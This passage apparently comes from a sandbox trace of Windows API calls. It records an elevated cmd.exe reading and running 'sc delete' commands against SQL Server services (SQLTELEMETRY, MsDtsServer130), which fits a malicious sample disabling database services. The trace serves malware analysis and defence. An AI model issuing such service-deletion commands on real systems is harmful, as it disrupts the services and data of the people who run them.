_Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0075.075] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0075.075] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.075] GetFileType (hFile=0x120) returned 0x3 [0075.075] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0075.075] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0075.075] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.075] GetFileType (hFile=0xb8) returned 0x3 [0075.075] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.075] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.075] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.075] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLTELEMETRY\nT\n\nce\n") returned 1 [0075.075] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.075] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.075] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLTELEMETRY\nT\n\nce\n") returned 1 [0075.076] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.076] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.076] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLTELEMETRY\nT\n\nce\n") returned 1 [0075.076] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.076] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.076] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete SQLTELEMETRY\nT\n\nce\n") returned 1 [0075.076] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.076] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.076] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete SQLTELEMETRY\nT\n\nce\n") returned 1 [0075.076] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.076] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.076] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLTELEMETRY\nT\n\nce\n") returned 1 [0075.076] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.076] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.076] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.076] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLTELEMETRY\nT\n\nce\n") returned 1 [0075.076] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.076] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.077] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te SQLTELEMETRY\nT\n\nce\n") returned 1 [0075.077] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.077] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.077] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e SQLTELEMETRY\nT\n\nce\n") returned 1 [0075.077] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.077] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.077] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" SQLTELEMETRY\nT\n\nce\n") returned 1 [0075.077] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.077] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.077] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="MQLTELEMETRY\nT\n\nce\n") returned 1 [0075.077] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.077] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.077] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="sLTELEMETRY\nT\n\nce\n") returned 1 [0075.077] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.077] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.077] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="DTELEMETRY\nT\n\nce\n") returned 1 [0075.077] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.077] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.078] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="tELEMETRY\nT\n\nce\n") returned 1 [0075.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.078] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.078] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="sLEMETRY\nT\n\nce\n") returned 1 [0075.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.078] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.078] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="SEMETRY\nT\n\nce\n") returned 1 [0075.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.078] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.078] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="eMETRY\nT\n\nce\n") returned 1 [0075.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.078] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.078] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="rETRY\nT\n\nce\n") returned 1 [0075.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.078] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.078] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="vTRY\nT\n\nce\n") returned 1 [0075.079] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.079] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.079] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="eRY\nT\n\nce\n") returned 1 [0075.079] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.079] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.079] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="rY\nT\n\nce\n") returned 1 [0075.079] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.079] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.079] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="1\nT\n\nce\n") returned 1 [0075.079] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.079] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.079] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="3T\n\nce\n") returned 1 [0075.079] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.079] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.079] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="0\n\nce\n") returned 1 [0075.079] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.079] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.079] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.080] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="\n\nce\n") returned 1 [0075.080] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.080] GetFileType (hFile=0xb8) returned 0x3 [0075.080] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.080] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.080] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.080] GetFileType (hFile=0x120) returned 0x3 [0075.080] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.080] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MsDtsServer130\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MsDtsServer130\n", lpUsedDefaultChar=0x0) returned 26 [0075.080] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x19, lpOverlapped=0x0) returned 1 [0075.080] GetProcessHeap () returned 0x240000 [0075.080] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x266630 [0075.080] GetProcessHeap () returned 0x240000 [0075.080] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x266630 | out: hHeap=0x240000) returned 1 [0075.080] GetProcessHeap () returned 0x240000 [0075.080] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0075.080] GetProcessHeap () returned 0x240000 [0075.080] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0075.080] GetProcessHeap () returned 0x240000 [0075.080] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3e) returned 0x25aa40 [0075.080] GetConsoleOutputCP () returned 0x1b5 [0075.081] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0075.081] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.081] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.081] GetProcessHeap () returned 0x240000 [0075.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0075.081] GetProcessHeap () returned 0x240000 [0075.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x44) returned 0x25aa90 [0075.081] GetProcessHeap () returned 0x240000 [0075.081] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0075.081] SetErrorMode (uMode=0x0) returned 0x1 [0075.081] SetErrorMode (uMode=0x1) returned 0x0 [0075.081] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0075.081] SetErrorMode (uMode=0x1) returned 0x1 [0075.081] GetProcessHeap () returned 0x240000 [0075.081] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0075.082] GetProcessHeap () returned 0x240000 [0075.082] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0075.082] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0075.082] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0075.082] GetProcessHeap () returned 0x240000 [0075.082] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0075.082] GetProcessHeap () returned 0x240000 [0075.082] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0075.082] GetProcessHeap () returned 0x240000 [0075.082] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0075.082] GetProcessHeap () returned 0x240000 [0075.082] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0075.082] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0075.082] GetProcessHeap () returned 0x240000 [0075.082] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0075.082] GetProcessHeap () returned 0x240000 [0075.082] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0075.082] GetProcessHeap () returned 0x240000 [0075.082] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0075.082] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.082] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.082] GetLastError () returned 0x2 [0075.083] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.083] GetLastError () returned 0x2 [0075.083] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.083] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0075.083] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0075.083] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.083] GetLastError () returned 0x2 [0075.083] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0075.083] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0075.083] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0075.083] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0075.083] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.084] GetProcessHeap () returned 0x240000 [0075.084] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0075.084] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.084] GetProcessHeap () returned 0x240000 [0075.084] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xaa) returned 0x259180 [0075.084] GetProcessHeap () returned 0x240000 [0075.084] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xaa [0075.084] SetConsoleTitleW (lpConsoleTitle="Administrator: 